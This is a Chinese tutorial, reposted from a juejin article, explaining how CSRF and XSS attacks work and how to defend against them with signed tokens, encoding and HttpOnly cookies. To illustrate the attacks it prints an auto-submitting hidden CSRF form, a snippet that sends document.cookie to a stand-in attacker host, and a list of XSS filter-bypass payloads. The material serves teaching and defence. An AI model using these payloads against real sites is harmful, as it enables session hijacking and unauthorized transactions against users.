CSRF、XSS攻防原理及解决方案
原文出自CSRF、XSS攻防原理及解决方案https://juejin.im/post/6874730741989801997#heading-6
一、CSRF
CSRF 全称叫做,跨站请求伪造(Cross—Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。对于服务器而言,判断请求对象是否是你本身的方法限于提供身份认证的cookie、秘钥等,无法去识别个体。
原理介绍、流程分析
以下,举例模拟一个被CSRF攻击影响的例子:
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A; 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B; 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A; 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
更为具体的举例,伪造请求的方式一般有如下几种方式:
// 页面中有一个超链接,诱导用户进行点击
<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>
// 直接在页面上使用Img进行get请求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表单进行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
CSRF漏洞检测
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
当然我们也可以试着利用根据来进行漏洞检测,随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
CSRF防御原理
根据以上的方式我们能显而易见看到,问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
由此得出,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
防御思路
针对防止CSRF的发生,创建Token处理机制,Token数据结构与时间、加密签名直接相关, 这么设计的的目的如上所说,是给“身份凭证”加上时间生存周期管理和签名校验管理,如果的凭证被人拿到了, 要先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理, 这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。
签名与时间戳防护处理流程
在token中加入上述方法中所描述的时间戳信息和签名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
-
msg部分:key即随机生成的字符串用作用户凭证认证+timestamp时间戳验证时间用 -
separator部分:用于分隔msg部分与加密后生成的signature签名部分 -
signature部分:signature即签名,是对“msg消息”用特定算法进行加密后的串。
token = base64(msg)格式化..base64(sha256("密锁", msg))
整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码,两个串的内容结合。
Token校验
在整个防御做法中,对于token的校验流程为:
-
在服务器端对接收到的token进行分片,以分隔符进行分割,获取信息内容和签名 -
对于签名验证,对信息进行解码,如果通过则进入时间校验 -
如果签名有效的,取出msg中的timestamp字段数据,与当前系统时间进行比较,如果过期时间小于当前时间,那这个token是过期的,需要重新的取得token。
二、XSS
XSS(跨站脚本攻击,Cross-site scripting,简称并不是 CSS,因为 CSS是 层叠样式表)是一种常见的 web 安全问题。XSS 攻击手段是允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击类型区分
① 反射型
反射型 XSS攻击 通常是简单地把用户输入的数据“反射”给浏览器。黑客一般会诱使用户点击一个有恶意的链接,用户点击就会发起 XSS 攻击。反射型 XSS 攻击可以将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及通过 JS 注入到 URL 或 HTML 文档中。
② 储存型
存储型 XSS攻击 这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站,黑客写下一篇含有恶意 JavaScript 代码的文章,文章发布后,所有看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。
③ DOM-based 型
注意:这种类型的划分与以上两种类型划分方式不同,是按照Payload的位置划分
DOM-based 型XSS攻击 基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
发起 XSS 攻击后,黑客写入的 JavaScript 代码就会执行,通过脚本可以控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”,cookie 中一般加密保存着当前用户的登录凭据,黑客可以通过恶意代码将用户的 cookie 发到自己的服务器上,然后就可以做到无密码登录上用户的账户。
实现XSS攻击的条件
-
需要向web页面注入恶意代码; -
这些恶意代码能够被浏览器成功的执行。
会利用XSS攻击获取什么?
-
窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到来自浏览器的自带防御,浏览器针对于这类问题的存在,对于DOM对象的访问会有自己的禁用方式,避免最基本的XSS注入。例如在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined
-
读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码 -
篡改网页,进行钓鱼或者恶意传播 -
网站重定向
XSS的防御
具体举例:注入转义
对于URL做解析时和发起get请求时都会需要读取URL携带的参数,如果将 url 中的参数直接插入到 DOM 中,这就有可能构成 XSS 攻击,攻击者利用这一漏洞,给其他用户发送一个有恶意的链接,用户就有可能中招。如:
http://www.example/test.index?param=<script>alert('XSS')</script>
这个 URL 的 param 参数值并不是合理的,而是攻击者构建的。
再如:一个超链接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通过点击链接的方式注入XSS,去获取当前用户的Cookie。
防御方式:
-
当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。 -
当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
常见的xss攻击方法
-
绕过XSS-Filter,利用<>标签注入Html/JavaScript代码; -
利用HTML标签的属性值进行xss攻击。例如:
<img src=“javascript:alert(‘xss’)”/>
(当然并不是所有的Web浏览器都支持Javascript伪协议,所以此类XSS攻击具有一定的局限性)
-
空格、回车和Tab。如果XSS Filter仅仅将敏感的输入字符列入黑名单,比如javascript,用户可以利用空格、回车和Tab键来绕过过滤,例如:
<img src=“javas cript:alert(/xss/);”/>
-
利用事件来执行跨站脚本。例如:
<img src=“#” onerror= “alert(1)”/>
当src错误的视乎就会执行onerror事件
-
利用CSS跨站。例如:
Body {
backgrund-image: url(“javascript:alert(‘xss’)”)
}
-
扰乱过滤规则。例如:
<IMG SRC=“javaSCript: alert(/xss/);”/>
-
利用字符编码,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式) -
拆分跨站法,将xss攻击的代码拆分开来,适用于应用程序没有过滤 XSS关键字符(如 <
、>
)却对输入字符长度有限制的情况下; -
DOM型的XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致DOM型的XSS的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
XSS攻击防御
原则:不相信客户输入的数据
注意: 攻击代码不一定在<script></script>
中
-
使用XSS Filter。
输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。
-
DOM型的XSS攻击防御
把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>
中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
-
HttpOnly Cookie
将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie: